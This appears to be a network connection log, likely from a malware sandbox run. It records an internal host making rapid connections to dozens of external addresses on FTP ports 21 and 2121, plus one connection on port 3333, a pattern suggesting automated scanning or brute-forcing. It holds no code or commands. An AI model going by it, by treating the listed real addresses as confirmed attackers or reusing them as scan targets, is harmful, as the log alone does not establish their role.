Aug 23, 2023 09:15:47.128952026 CEST	21	51177	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:47.129102945 CEST	21	51177	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:47.129138947 CEST	21	51177	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:47.129215956 CEST	51177	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:47.129405022 CEST	51177	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:47.130794048 CEST	51212	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:47.131350994 CEST	21	51191	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:47.131386995 CEST	21	51191	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:47.131468058 CEST	51191	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:47.131695032 CEST	51191	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:47.132673979 CEST	51213	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:47.174036980 CEST	51186	21	192.168.2.3	58.234.62.145
Aug 23, 2023 09:15:47.220918894 CEST	51196	2121	192.168.2.3	179.62.171.153
Aug 23, 2023 09:15:47.220921993 CEST	51195	21	192.168.2.3	179.62.171.153
Aug 23, 2023 09:15:47.267802000 CEST	51192	2121	192.168.2.3	84.193.12.73
Aug 23, 2023 09:15:47.268630028 CEST	51214	2121	192.168.2.3	142.250.234.80
Aug 23, 2023 09:15:47.299078941 CEST	51187	2121	192.168.2.3	58.234.62.145
Aug 23, 2023 09:15:47.302948952 CEST	21	51191	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:47.303945065 CEST	21	51213	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:47.304044962 CEST	51213	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:47.304660082 CEST	2121	51192	84.193.12.73	192.168.2.3
Aug 23, 2023 09:15:47.305540085 CEST	51215	21	192.168.2.3	126.207.100.51
Aug 23, 2023 09:15:47.342588902 CEST	21	51177	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:47.344362020 CEST	21	51212	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:47.344455004 CEST	51212	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:47.346951962 CEST	51216	2121	192.168.2.3	126.207.100.51
Aug 23, 2023 09:15:47.392803907 CEST	51152	2121	192.168.2.3	85.244.238.60
Aug 23, 2023 09:15:47.393244982 CEST	51151	21	192.168.2.3	85.244.238.60
Aug 23, 2023 09:15:47.393246889 CEST	51153	21	192.168.2.3	92.12.97.98
Aug 23, 2023 09:15:47.399713039 CEST	51154	2121	192.168.2.3	92.12.97.98
Aug 23, 2023 09:15:47.424084902 CEST	51206	2121	192.168.2.3	124.48.26.200
Aug 23, 2023 09:15:47.454293013 CEST	21	51186	58.234.62.145	192.168.2.3
Aug 23, 2023 09:15:47.455238104 CEST	51217	21	192.168.2.3	96.255.246.249
Aug 23, 2023 09:15:47.500355005 CEST	21	51213	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:47.500920057 CEST	51213	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:47.517796993 CEST	51161	2121	192.168.2.3	81.247.161.9
Aug 23, 2023 09:15:47.517823935 CEST	51158	21	192.168.2.3	203.54.188.169
Aug 23, 2023 09:15:47.517826080 CEST	51159	2121	192.168.2.3	203.54.188.169
Aug 23, 2023 09:15:47.517826080 CEST	51162	21	192.168.2.3	172.67.123.240
Aug 23, 2023 09:15:47.517827034 CEST	51160	21	192.168.2.3	81.247.161.9
Aug 23, 2023 09:15:47.527141094 CEST	21	51195	179.62.171.153	192.168.2.3
Aug 23, 2023 09:15:47.530864954 CEST	2121	51196	179.62.171.153	192.168.2.3
Aug 23, 2023 09:15:47.565184116 CEST	21	51212	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:47.566260099 CEST	51212	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:47.579281092 CEST	2121	51187	58.234.62.145	192.168.2.3
Aug 23, 2023 09:15:47.580843925 CEST	21	51215	126.207.100.51	192.168.2.3
Aug 23, 2023 09:15:47.581459999 CEST	51218	2121	192.168.2.3	96.255.246.249
Aug 23, 2023 09:15:47.622905970 CEST	2121	51216	126.207.100.51	192.168.2.3
Aug 23, 2023 09:15:47.642833948 CEST	51163	2121	192.168.2.3	172.67.123.240
Aug 23, 2023 09:15:47.643937111 CEST	51219	21	192.168.2.3	188.83.249.71
Aug 23, 2023 09:15:47.644057989 CEST	51220	2121	192.168.2.3	188.83.249.71
Aug 23, 2023 09:15:47.664484024 CEST	2121	51206	124.48.26.200	192.168.2.3
Aug 23, 2023 09:15:47.672197104 CEST	21	51213	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:47.673446894 CEST	21	51213	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:47.673816919 CEST	51213	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:47.720963001 CEST	51164	21	192.168.2.3	67.195.6.33
Aug 23, 2023 09:15:47.736583948 CEST	51165	2121	192.168.2.3	67.195.6.33
Aug 23, 2023 09:15:47.736666918 CEST	51166	21	192.168.2.3	31.96.164.242
Aug 23, 2023 09:15:47.779762983 CEST	21	51212	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:47.799104929 CEST	51167	2121	192.168.2.3	31.96.164.242
Aug 23, 2023 09:15:47.806581974 CEST	21	51158	203.54.188.169	192.168.2.3
Aug 23, 2023 09:15:47.806770086 CEST	2121	51159	203.54.188.169	192.168.2.3
Aug 23, 2023 09:15:47.845967054 CEST	51170	21	192.168.2.3	125.181.91.249
Aug 23, 2023 09:15:47.846093893 CEST	21	51213	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:47.846642971 CEST	51213	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:47.986679077 CEST	51172	21	192.168.2.3	98.55.0.121
Aug 23, 2023 09:15:47.986680984 CEST	51171	2121	192.168.2.3	125.181.91.249
Aug 23, 2023 09:15:48.003705978 CEST	51221	21	192.168.2.3	189.102.23.35
Aug 23, 2023 09:15:48.003854036 CEST	51222	2121	192.168.2.3	189.102.23.35
Aug 23, 2023 09:15:48.003990889 CEST	51223	21	192.168.2.3	201.40.238.21
Aug 23, 2023 09:15:48.004276037 CEST	51224	2121	192.168.2.3	201.40.238.21
Aug 23, 2023 09:15:48.018135071 CEST	21	51213	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:48.018167019 CEST	21	51213	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:48.018599033 CEST	51213	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:48.019408941 CEST	51213	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:48.021234989 CEST	51225	21	192.168.2.3	174.58.53.210
Aug 23, 2023 09:15:48.021285057 CEST	51226	2121	192.168.2.3	174.58.53.210
Aug 23, 2023 09:15:48.021300077 CEST	51227	21	192.168.2.3	92.101.194.179
Aug 23, 2023 09:15:48.021359921 CEST	51229	21	192.168.2.3	187.155.200.68
Aug 23, 2023 09:15:48.021361113 CEST	51228	2121	192.168.2.3	92.101.194.179
Aug 23, 2023 09:15:48.021430016 CEST	51230	2121	192.168.2.3	187.155.200.68
Aug 23, 2023 09:15:48.021842957 CEST	51231	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:48.033499956 CEST	51196	2121	192.168.2.3	179.62.171.153
Aug 23, 2023 09:15:48.033508062 CEST	51195	21	192.168.2.3	179.62.171.153
Aug 23, 2023 09:15:48.064728975 CEST	51173	2121	192.168.2.3	98.55.0.121
Aug 23, 2023 09:15:48.065730095 CEST	51233	2121	192.168.2.3	104.222.42.54
Aug 23, 2023 09:15:48.065730095 CEST	51232	21	192.168.2.3	104.222.42.54
Aug 23, 2023 09:15:48.096489906 CEST	51215	21	192.168.2.3	126.207.100.51
Aug 23, 2023 09:15:48.111819029 CEST	51174	21	192.168.2.3	187.204.231.25
Aug 23, 2023 09:15:48.128469944 CEST	51216	2121	192.168.2.3	126.207.100.51
Aug 23, 2023 09:15:48.174120903 CEST	51206	2121	192.168.2.3	124.48.26.200
Aug 23, 2023 09:15:48.174134970 CEST	51175	2121	192.168.2.3	187.204.231.25
Aug 23, 2023 09:15:48.174195051 CEST	51176	21	192.168.2.3	24.58.26.126
Aug 23, 2023 09:15:48.175736904 CEST	51234	21	192.168.2.3	162.216.240.66
Aug 23, 2023 09:15:48.190864086 CEST	21	51213	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:48.193097115 CEST	21	51231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:48.196594954 CEST	51231	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:48.242559910 CEST	51235	2121	192.168.2.3	162.216.240.66
Aug 23, 2023 09:15:48.267896891 CEST	51178	2121	192.168.2.3	24.58.26.126
Aug 23, 2023 09:15:48.284487963 CEST	51236	21	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:48.300661087 CEST	51179	21	192.168.2.3	47.14.117.222
Aug 23, 2023 09:15:48.314673901 CEST	21	51236	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:48.314762115 CEST	51159	2121	192.168.2.3	203.54.188.169
Aug 23, 2023 09:15:48.314763069 CEST	51158	21	192.168.2.3	203.54.188.169
Aug 23, 2023 09:15:48.315499067 CEST	51237	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:48.334021091 CEST	21	51195	179.62.171.153	192.168.2.3
Aug 23, 2023 09:15:48.334682941 CEST	51238	21	192.168.2.3	195.208.191.202
Aug 23, 2023 09:15:48.336911917 CEST	2121	51196	179.62.171.153	192.168.2.3
Aug 23, 2023 09:15:48.338510036 CEST	51239	2121	192.168.2.3	195.208.191.202
Aug 23, 2023 09:15:48.345802069 CEST	2121	51237	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:48.345871925 CEST	51237	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:48.371948004 CEST	21	51215	126.207.100.51	192.168.2.3
Aug 23, 2023 09:15:48.378458023 CEST	21	51231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:48.379021883 CEST	51231	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:48.404552937 CEST	2121	51216	126.207.100.51	192.168.2.3
Aug 23, 2023 09:15:48.414587021 CEST	2121	51206	124.48.26.200	192.168.2.3
Aug 23, 2023 09:15:48.415477037 CEST	51240	21	192.168.2.3	38.53.111.195
Aug 23, 2023 09:15:48.424158096 CEST	51181	2121	192.168.2.3	47.14.117.222
Aug 23, 2023 09:15:48.425137043 CEST	51241	2121	192.168.2.3	38.53.111.195
Aug 23, 2023 09:15:48.428638935 CEST	2121	51237	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:48.428868055 CEST	51237	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:48.430768013 CEST	51242	21	192.168.2.3	73.238.77.233
Aug 23, 2023 09:15:48.430778980 CEST	21	51238	195.208.191.202	192.168.2.3
Aug 23, 2023 09:15:48.441040993 CEST	2121	51239	195.208.191.202	192.168.2.3
Aug 23, 2023 09:15:48.459525108 CEST	2121	51237	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:48.459651947 CEST	51237	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:48.502279043 CEST	51183	2121	192.168.2.3	2.190.95.192
Aug 23, 2023 09:15:48.517976046 CEST	51182	21	192.168.2.3	2.190.95.192
Aug 23, 2023 09:15:48.518124104 CEST	51184	21	192.168.2.3	83.42.104.15
Aug 23, 2023 09:15:48.550925970 CEST	21	51231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:48.551987886 CEST	21	51231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:48.552501917 CEST	51231	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:48.580404043 CEST	51185	2121	192.168.2.3	83.42.104.15
Aug 23, 2023 09:15:48.584522963 CEST	21	51240	38.53.111.195	192.168.2.3
Aug 23, 2023 09:15:48.589111090 CEST	51240	21	192.168.2.3	38.53.111.195
Aug 23, 2023 09:15:48.650662899 CEST	51243	2121	192.168.2.3	73.238.77.233
Aug 23, 2023 09:15:48.724503040 CEST	21	51231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:48.759546041 CEST	21	51240	38.53.111.195	192.168.2.3
Aug 23, 2023 09:15:48.783514023 CEST	21	51212	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:48.783584118 CEST	51231	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:48.816540956 CEST	51240	21	192.168.2.3	38.53.111.195
Aug 23, 2023 09:15:48.819510937 CEST	51236	21	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:48.832567930 CEST	51212	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:48.850053072 CEST	21	51236	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:48.863744974 CEST	51244	21	192.168.2.3	39.55.235.73
Aug 23, 2023 09:15:48.864253044 CEST	51240	21	192.168.2.3	38.53.111.195
Aug 23, 2023 09:15:48.864254951 CEST	51231	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:48.864938974 CEST	51245	2121	192.168.2.3	39.55.235.73
Aug 23, 2023 09:15:48.866651058 CEST	51212	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:48.877316952 CEST	51188	21	192.168.2.3	97.85.39.44
Aug 23, 2023 09:15:48.877321959 CEST	51215	21	192.168.2.3	126.207.100.51
Aug 23, 2023 09:15:48.909632921 CEST	51216	2121	192.168.2.3	126.207.100.51
Aug 23, 2023 09:15:48.925067902 CEST	51246	21	192.168.2.3	187.20.228.55
Aug 23, 2023 09:15:48.940181017 CEST	51238	21	192.168.2.3	195.208.191.202
Aug 23, 2023 09:15:48.955611944 CEST	51239	2121	192.168.2.3	195.208.191.202
Aug 23, 2023 09:15:48.986685991 CEST	51189	2121	192.168.2.3	97.85.39.44
Aug 23, 2023 09:15:49.003187895 CEST	51247	2121	192.168.2.3	187.20.228.55
Aug 23, 2023 09:15:49.018500090 CEST	51248	21	192.168.2.3	174.109.78.163
Aug 23, 2023 09:15:49.033175945 CEST	21	51240	38.53.111.195	192.168.2.3
Aug 23, 2023 09:15:49.033200979 CEST	21	51240	38.53.111.195	192.168.2.3
Aug 23, 2023 09:15:49.033301115 CEST	51240	21	192.168.2.3	38.53.111.195
Aug 23, 2023 09:15:49.033323050 CEST	51240	21	192.168.2.3	38.53.111.195
Aug 23, 2023 09:15:49.035734892 CEST	21	51231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:49.035757065 CEST	21	51238	195.208.191.202	192.168.2.3
Aug 23, 2023 09:15:49.035790920 CEST	21	51231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:49.035844088 CEST	51231	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:49.036051035 CEST	51231	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:49.036561966 CEST	51249	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:49.042464972 CEST	2121	51245	39.55.235.73	192.168.2.3
Aug 23, 2023 09:15:49.058569908 CEST	2121	51239	195.208.191.202	192.168.2.3
Aug 23, 2023 09:15:49.080113888 CEST	21	51212	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:49.080140114 CEST	21	51212	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:49.080158949 CEST	21	51212	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:49.080224991 CEST	51212	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:49.080346107 CEST	51212	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:49.081002951 CEST	51250	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:49.153134108 CEST	21	51215	126.207.100.51	192.168.2.3
Aug 23, 2023 09:15:49.174257040 CEST	51193	21	192.168.2.3	80.162.213.69
Aug 23, 2023 09:15:49.185892105 CEST	2121	51216	126.207.100.51	192.168.2.3
Aug 23, 2023 09:15:49.207499981 CEST	21	51231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:49.207870960 CEST	21	51249	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:49.207967997 CEST	51249	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:49.209906101 CEST	51251	2121	192.168.2.3	174.109.78.163
Aug 23, 2023 09:15:49.209985018 CEST	51252	21	192.168.2.3	50.250.167.13
Aug 23, 2023 09:15:49.294162035 CEST	21	51212	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:49.294631958 CEST	21	51250	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:49.294728041 CEST	51250	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:49.314850092 CEST	51194	2121	192.168.2.3	80.162.213.69
Aug 23, 2023 09:15:49.361799002 CEST	51236	21	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:49.391717911 CEST	21	51236	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:49.392703056 CEST	51253	2121	192.168.2.3	50.250.167.13
Aug 23, 2023 09:15:49.404459000 CEST	21	51249	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:49.404877901 CEST	51249	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:49.411362886 CEST	51254	21	192.168.2.3	23.62.35.5
Aug 23, 2023 09:15:49.412282944 CEST	51255	2121	192.168.2.3	23.62.35.5
Aug 23, 2023 09:15:49.413119078 CEST	51256	21	192.168.2.3	104.162.108.92
Aug 23, 2023 09:15:49.413986921 CEST	51257	2121	192.168.2.3	104.162.108.92
Aug 23, 2023 09:15:49.486728907 CEST	51197	21	192.168.2.3	184.60.202.203
Aug 23, 2023 09:15:49.486732960 CEST	51200	2121	192.168.2.3	73.63.151.113
Aug 23, 2023 09:15:49.486783981 CEST	51201	21	192.168.2.3	185.242.100.68
Aug 23, 2023 09:15:49.502417088 CEST	51202	2121	192.168.2.3	185.242.100.68
Aug 23, 2023 09:15:49.502417088 CEST	51199	21	192.168.2.3	73.63.151.113
Aug 23, 2023 09:15:49.502453089 CEST	51198	2121	192.168.2.3	184.60.202.203
Aug 23, 2023 09:15:49.516192913 CEST	21	51250	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:49.518018961 CEST	51203	21	192.168.2.3	23.202.210.241
Aug 23, 2023 09:15:49.532908916 CEST	51250	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:49.534344912 CEST	51258	21	192.168.2.3	121.159.17.119
Aug 23, 2023 09:15:49.535572052 CEST	51259	2121	192.168.2.3	121.159.17.119
Aug 23, 2023 09:15:49.536504030 CEST	51260	21	192.168.2.3	72.213.110.137
Aug 23, 2023 09:15:49.537547112 CEST	51261	2121	192.168.2.3	72.213.110.137
Aug 23, 2023 09:15:49.538678885 CEST	51262	21	192.168.2.3	70.59.19.122
Aug 23, 2023 09:15:49.549222946 CEST	51245	2121	192.168.2.3	39.55.235.73
Aug 23, 2023 09:15:49.549252033 CEST	51238	21	192.168.2.3	195.208.191.202
Aug 23, 2023 09:15:49.564861059 CEST	51239	2121	192.168.2.3	195.208.191.202
Aug 23, 2023 09:15:49.564944983 CEST	51204	2121	192.168.2.3	23.202.210.241
Aug 23, 2023 09:15:49.576531887 CEST	21	51249	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:49.577429056 CEST	21	51249	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:49.577869892 CEST	51249	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:49.644339085 CEST	21	51238	195.208.191.202	192.168.2.3
Aug 23, 2023 09:15:49.667141914 CEST	2121	51239	195.208.191.202	192.168.2.3
Aug 23, 2023 09:15:49.705539942 CEST	51205	21	192.168.2.3	124.48.26.200
Aug 23, 2023 09:15:49.726638079 CEST	2121	51245	39.55.235.73	192.168.2.3
Aug 23, 2023 09:15:49.747044086 CEST	21	51250	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:49.751017094 CEST	21	51249	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:49.768054962 CEST	51208	2121	192.168.2.3	98.36.45.180
Aug 23, 2023 09:15:49.768637896 CEST	51207	21	192.168.2.3	98.36.45.180
Aug 23, 2023 09:15:49.787156105 CEST	21	51258	121.159.17.119	192.168.2.3
Aug 23, 2023 09:15:49.787545919 CEST	2121	51259	121.159.17.119	192.168.2.3
Aug 23, 2023 09:15:49.799314022 CEST	51249	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:49.878994942 CEST	51209	21	192.168.2.3	186.211.90.180
Aug 23, 2023 09:15:50.034413099 CEST	51263	2121	192.168.2.3	70.59.19.122
Aug 23, 2023 09:15:50.034970999 CEST	51264	21	192.168.2.3	88.133.71.59
Aug 23, 2023 09:15:50.035648108 CEST	51265	2121	192.168.2.3	88.133.71.59
Aug 23, 2023 09:15:50.039289951 CEST	51249	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:50.039489031 CEST	51266	21	192.168.2.3	88.85.89.82
Aug 23, 2023 09:15:50.041265011 CEST	51267	2121	192.168.2.3	88.85.89.82
Aug 23, 2023 09:15:50.041393995 CEST	51269	2121	192.168.2.3	119.207.52.134
Aug 23, 2023 09:15:50.041460037 CEST	51268	21	192.168.2.3	119.207.52.134
Aug 23, 2023 09:15:50.041460037 CEST	51270	21	192.168.2.3	176.77.10.20
Aug 23, 2023 09:15:50.041471004 CEST	51271	2121	192.168.2.3	176.77.10.20
Aug 23, 2023 09:15:50.041471004 CEST	51272	21	192.168.2.3	81.247.0.217
Aug 23, 2023 09:15:50.043442011 CEST	51273	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:15:50.080715895 CEST	51210	2121	192.168.2.3	186.211.90.180
Aug 23, 2023 09:15:50.080776930 CEST	50998	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:50.081243992 CEST	51274	2121	192.168.2.3	81.247.0.217
Aug 23, 2023 09:15:50.111792088 CEST	51211	21	192.168.2.3	142.250.234.80
Aug 23, 2023 09:15:50.112498045 CEST	51275	21	192.168.2.3	76.255.10.110
Aug 23, 2023 09:15:50.180200100 CEST	51276	2121	192.168.2.3	76.255.10.110
Aug 23, 2023 09:15:50.211128950 CEST	21	51249	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:50.211183071 CEST	21	51249	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:50.211426020 CEST	51249	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:50.236653090 CEST	51277	21	192.168.2.3	186.43.240.166
Aug 23, 2023 09:15:50.236987114 CEST	51249	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:50.237657070 CEST	51278	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:50.283679962 CEST	51245	2121	192.168.2.3	39.55.235.73
Aug 23, 2023 09:15:50.283848047 CEST	51214	2121	192.168.2.3	142.250.234.80
Aug 23, 2023 09:15:50.285279989 CEST	51279	2121	192.168.2.3	186.43.240.166
Aug 23, 2023 09:15:50.299946070 CEST	51280	21	192.168.2.3	84.193.161.31
Aug 23, 2023 09:15:50.306452990 CEST	2121	51269	119.207.52.134	192.168.2.3
Aug 23, 2023 09:15:50.306613922 CEST	21	51268	119.207.52.134	192.168.2.3
Aug 23, 2023 09:15:50.408456087 CEST	21	51249	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:50.409095049 CEST	21	51278	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:50.409234047 CEST	51278	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:50.464648962 CEST	2121	51245	39.55.235.73	192.168.2.3
Aug 23, 2023 09:15:50.471317053 CEST	51258	21	192.168.2.3	121.159.17.119
Aug 23, 2023 09:15:50.471365929 CEST	51217	21	192.168.2.3	96.255.246.249
Aug 23, 2023 09:15:50.471404076 CEST	51259	2121	192.168.2.3	121.159.17.119
Aug 23, 2023 09:15:50.475857019 CEST	51281	2121	192.168.2.3	84.193.161.31
Aug 23, 2023 09:15:50.476283073 CEST	51282	21	192.168.2.3	66.212.18.190
Aug 23, 2023 09:15:50.517102003 CEST	2121	51281	84.193.161.31	192.168.2.3
Aug 23, 2023 09:15:50.528413057 CEST	51283	2121	192.168.2.3	66.212.18.190
Aug 23, 2023 09:15:50.528475046 CEST	51284	21	192.168.2.3	74.110.115.151
Aug 23, 2023 09:15:50.528516054 CEST	51285	2121	192.168.2.3	74.110.115.151
Aug 23, 2023 09:15:50.590878963 CEST	21	51278	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:50.643266916 CEST	21	51282	66.212.18.190	192.168.2.3
Aug 23, 2023 09:15:50.658765078 CEST	51220	2121	192.168.2.3	188.83.249.71
Aug 23, 2023 09:15:50.690133095 CEST	51218	2121	192.168.2.3	96.255.246.249
Aug 23, 2023 09:15:50.692744970 CEST	51219	21	192.168.2.3	188.83.249.71
Aug 23, 2023 09:15:50.692800045 CEST	51278	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:50.724267960 CEST	2121	51259	121.159.17.119	192.168.2.3
Aug 23, 2023 09:15:50.724309921 CEST	21	51258	121.159.17.119	192.168.2.3
Aug 23, 2023 09:15:50.730662107 CEST	21	50998	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:50.732423067 CEST	50998	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:50.748716116 CEST	21	51250	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:50.877620935 CEST	51250	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:50.877736092 CEST	51269	2121	192.168.2.3	119.207.52.134
Aug 23, 2023 09:15:50.877736092 CEST	51268	21	192.168.2.3	119.207.52.134
Aug 23, 2023 09:15:51.080780983 CEST	51224	2121	192.168.2.3	201.40.238.21
Aug 23, 2023 09:15:51.080780983 CEST	51221	21	192.168.2.3	189.102.23.35
Aug 23, 2023 09:15:51.080813885 CEST	51228	2121	192.168.2.3	92.101.194.179
Aug 23, 2023 09:15:51.080849886 CEST	51225	21	192.168.2.3	174.58.53.210
Aug 23, 2023 09:15:51.080854893 CEST	51233	2121	192.168.2.3	104.222.42.54
Aug 23, 2023 09:15:51.080854893 CEST	51222	2121	192.168.2.3	189.102.23.35
Aug 23, 2023 09:15:51.080854893 CEST	51223	21	192.168.2.3	201.40.238.21
Aug 23, 2023 09:15:51.080862045 CEST	51226	2121	192.168.2.3	174.58.53.210
Aug 23, 2023 09:15:51.080862045 CEST	51232	21	192.168.2.3	104.222.42.54
Aug 23, 2023 09:15:51.144941092 CEST	21	51268	119.207.52.134	192.168.2.3
Aug 23, 2023 09:15:51.144974947 CEST	2121	51269	119.207.52.134	192.168.2.3
Aug 23, 2023 09:15:51.158901930 CEST	51227	21	192.168.2.3	92.101.194.179
Aug 23, 2023 09:15:51.158907890 CEST	51230	2121	192.168.2.3	187.155.200.68
Aug 23, 2023 09:15:51.158912897 CEST	51281	2121	192.168.2.3	84.193.161.31
Aug 23, 2023 09:15:51.158958912 CEST	51229	21	192.168.2.3	187.155.200.68
Aug 23, 2023 09:15:51.204921007 CEST	2121	51281	84.193.161.31	192.168.2.3
Aug 23, 2023 09:15:51.284151077 CEST	51282	21	192.168.2.3	66.212.18.190
Aug 23, 2023 09:15:51.284794092 CEST	51234	21	192.168.2.3	162.216.240.66
Aug 23, 2023 09:15:51.284796000 CEST	51258	21	192.168.2.3	121.159.17.119
Aug 23, 2023 09:15:51.284794092 CEST	51259	2121	192.168.2.3	121.159.17.119
Aug 23, 2023 09:15:51.284796000 CEST	51235	2121	192.168.2.3	162.216.240.66
Aug 23, 2023 09:15:51.419759035 CEST	51286	21	192.168.2.3	174.51.137.195
Aug 23, 2023 09:15:51.420244932 CEST	51278	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:51.420453072 CEST	51250	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:51.421273947 CEST	51287	2121	192.168.2.3	174.51.137.195
Aug 23, 2023 09:15:51.422017097 CEST	51288	21	192.168.2.3	222.118.102.117
Aug 23, 2023 09:15:51.422765017 CEST	51289	2121	192.168.2.3	222.118.102.117
Aug 23, 2023 09:15:51.424185991 CEST	51290	21	192.168.2.3	40.83.254.178
Aug 23, 2023 09:15:51.451394081 CEST	21	51282	66.212.18.190	192.168.2.3
Aug 23, 2023 09:15:51.455667973 CEST	51241	2121	192.168.2.3	38.53.111.195
Aug 23, 2023 09:15:51.471314907 CEST	51242	21	192.168.2.3	73.238.77.233
Aug 23, 2023 09:15:51.512557030 CEST	51291	2121	192.168.2.3	40.83.254.178
Aug 23, 2023 09:15:51.512670994 CEST	51292	21	192.168.2.3	192.214.195.171
Aug 23, 2023 09:15:51.512773037 CEST	51293	2121	192.168.2.3	192.214.195.171
Aug 23, 2023 09:15:51.512877941 CEST	51294	21	192.168.2.3	72.217.158.192
Aug 23, 2023 09:15:51.512928963 CEST	51295	2121	192.168.2.3	72.217.158.192
Aug 23, 2023 09:15:51.525458097 CEST	51296	21	192.168.2.3	51.103.42.26
Aug 23, 2023 09:15:51.534627914 CEST	51297	2121	192.168.2.3	51.103.42.26
Aug 23, 2023 09:15:51.539535999 CEST	2121	51259	121.159.17.119	192.168.2.3
Aug 23, 2023 09:15:51.539558887 CEST	21	51258	121.159.17.119	192.168.2.3
Aug 23, 2023 09:15:51.541409016 CEST	51298	2121	192.168.2.3	71.12.170.200
Aug 23, 2023 09:15:51.541531086 CEST	51299	21	192.168.2.3	71.12.170.200
Aug 23, 2023 09:15:51.586641073 CEST	51300	21	192.168.2.3	103.169.97.161
